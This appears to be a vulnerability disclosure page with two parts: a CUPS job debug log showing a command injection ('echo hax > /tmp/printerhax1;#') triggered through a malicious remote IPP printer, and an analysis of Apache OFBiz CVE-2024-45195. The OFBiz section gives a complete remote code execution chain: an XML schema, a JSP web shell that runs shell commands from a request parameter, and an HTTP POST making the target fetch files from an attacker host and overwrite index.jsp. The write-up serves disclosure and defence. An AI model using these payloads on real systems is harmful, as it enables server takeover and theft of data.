D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginFeature: *cupsPrintQuality Normal
D [27/Sep/2024:15:14:31 +0100] [Job 1] Option: cupsPrintQuality=Normal
D [27/Sep/2024:15:14:31 +0100] [Job 1] --> Option will be set by PostScript interpreter
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%EndSetup
D [27/Sep/2024:15:14:31 +0100] [Job 1] -----------
D [27/Sep/2024:15:14:31 +0100] [Job 1] New page: %%Page: 1 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] \"Setup\" section is missing, inserting it.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"Setup\" section.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Found: %%BeginPageSetup
D [27/Sep/2024:15:14:31 +0100] [Job 1] Inserting option code into \"PageSetup\" section.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Wrote 1 pages...
D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6427 (pstops) exited with no errors.
D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6426 (gs) exited with no errors.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Flushing FIFO.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\"
D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"kid3\" (generation 1)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"kid4\" (generation 2)
D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting process \"renderer\" (generation 2)
D [27/Sep/2024:15:14:31 +0100] [Job 1] renderer exited with status 0
D [27/Sep/2024:15:14:31 +0100] [Job 1] JCL: \033%-12345X@PJL
D [27/Sep/2024:15:14:31 +0100] [Job 1] <job data> 
D [27/Sep/2024:15:14:31 +0100] [Job 1] Process is dying with \"Encountered error Broken pipe during fwrite\", exit stat 1
D [27/Sep/2024:15:14:31 +0100] [Job 1] Cleaning up...
D [27/Sep/2024:15:14:31 +0100] [Job 1] Killing pdf-to-ps
D [27/Sep/2024:15:14:31 +0100] [Job 1] kid4 exited with status 0
D [27/Sep/2024:15:14:31 +0100] [Job 1] kid3 finished
D [27/Sep/2024:15:14:31 +0100] [Job 1] Killing kid3
D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6420 (/usr/lib/cups/filter/foomatic-rip) stopped with status 1.
D [27/Sep/2024:15:14:31 +0100] [Job 1] Hint: Try setting the LogLevel to "debug" to find out more.
D [27/Sep/2024:15:14:31 +0100] [Job 1] PID 6421 (/usr/lib/cups/backend/ipp) exited with no errors.
D [27/Sep/2024:15:14:31 +0100] [Job 1] End of messages
D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state=3(idle)
D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state-message="Filter failed"
D [27/Sep/2024:15:14:31 +0100] [Job 1] printer-state-reasons=none

We can see above that the line D [27/Sep/2024:15:14:31 +0100] [Job 1] envp[21]="DEVICE_URI=ipp://printerhax1.local:4444/printers/hax" details the IPP request to the remote attacker’s malicious printer.

We can also see that the line D [27/Sep/2024:15:14:31 +0100] [Job 1] Starting renderer with command: \"echo hax > /tmp/printerhax1;#\" details the arbitrary OS command used during the command injection.

Indicated source as
  • Other: Rapid7 MDR has observed successful exploitation of this vulnerability in customer environments
Indicated source as
  • Other: Rapid7 MDR has observed successful exploitation of this vulnerability in customer environments
Indicated source as
  • Other: Rapid7 MDR has observed exploitation of this vulnerability in one or more customer environments
2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

Apache OFBiz is an open-source web-based enterprise resource planning and customer relationship management suite. CVE-2024-45195 is a third patch bypass for a remote code execution vulnerability; the same vulnerability root cause is also tracked under the following identifiers: CVE-2024-32113, CVE-2024-36104, and CVE-2024-38856. Two of these CVEs are listed in CISA’s KEV catalog.

When unexpected URI patterns are sent to the application, the state of the application’s current controller and view map is fragmented. This controller-view map fragmentation takes place because the application uses multiple different methods of parsing the current URI: one to get the controller, one to get the view map. As a result, an attacker can confuse the implemented logic to fetch and interact with an authenticated view map via an unauthenticated controller. When this happens, only the controller authorization checks will be performed, which the attacker can use to access admin-only view maps that do things like execute SQL queries or code.

Notably, this vulnerability report was a bug collision report, and the following security researchers discovered and reported CVE-2024-45195:

  • shin24 from National Cyber Security Vietnam (finder)
  • LuanPV from National Cyber Security Vietnam (finder)
  • Hasib Vhora, Senior Threat Researcher, SonicWall (finder)
  • Xenc from SGLAB of Legendsec at Qi’anxin Group (finder)
  • Ryan Emmons, Lead Security Researcher at Rapid7 (finder)

Remote code execution payloads for CVE-2024-45195, targeting a Linux host, are below. This attack vector will clobber an existing JSP file and write a web shell within the web root.

$ cat rceschema.xml
    <data-files xsi:noNamespaceSchemaLocation="http://ofbiz.apache.org/dtds/datafiles.xsd" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
        <data-file name="rce" separator-style="fixed-length" type-code="text" start-line="0" encoding-type="UTF-8">
            <record name="rceentry" limit="many">
                <field name="jsp" type="String" length="605" position="0"></field>
            </record>
        </data-file>
    </data-files>
$ cat rcereport.csv
<%@ page import='java.io.*' %><%@ page import='java.util.*' %><h1>Ahoy!</h1><br><% String getcmd = request.getParameter("cmd"); if (getcmd != null) { out.println("Command: " + getcmd + "<br>"); String cmd1 = "/bin/sh"; String cmd2 = "-c"; String cmd3 = getcmd; String[] cmd = new String[3]; cmd[0] = cmd1; cmd[1] = cmd2; cmd[2] = cmd3; Process p = Runtime.getRuntime().exec(cmd); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine();}} %>,

After starting an accessible web server in the directory with the above files, perform the following request to the target for RCE:

POST /webtools/control/forgotPassword/viewdatafile HTTP/2
Host: target:8443
User-Agent: curl/7.81.0
Accept: */*
Content-Length: 241
Content-Type: application/x-www-form-urlencoded

DATAFILE_LOCATION=http://attacker:80/rcereport.csv&DATAFILE_SAVE=./applications/accounting/webapp/accounting/index.jsp&DATAFILE_IS_URL=true&DEFINITION_LOCATION=http://attacker:80/rceschema.xml&DEFINITION_IS_URL=true&DEFINITION_NAME=rce

For a full technical analysis of CVE-2024-45195 and the previous OFBiz CVEs, refer to the Rapid7 analysis blog post.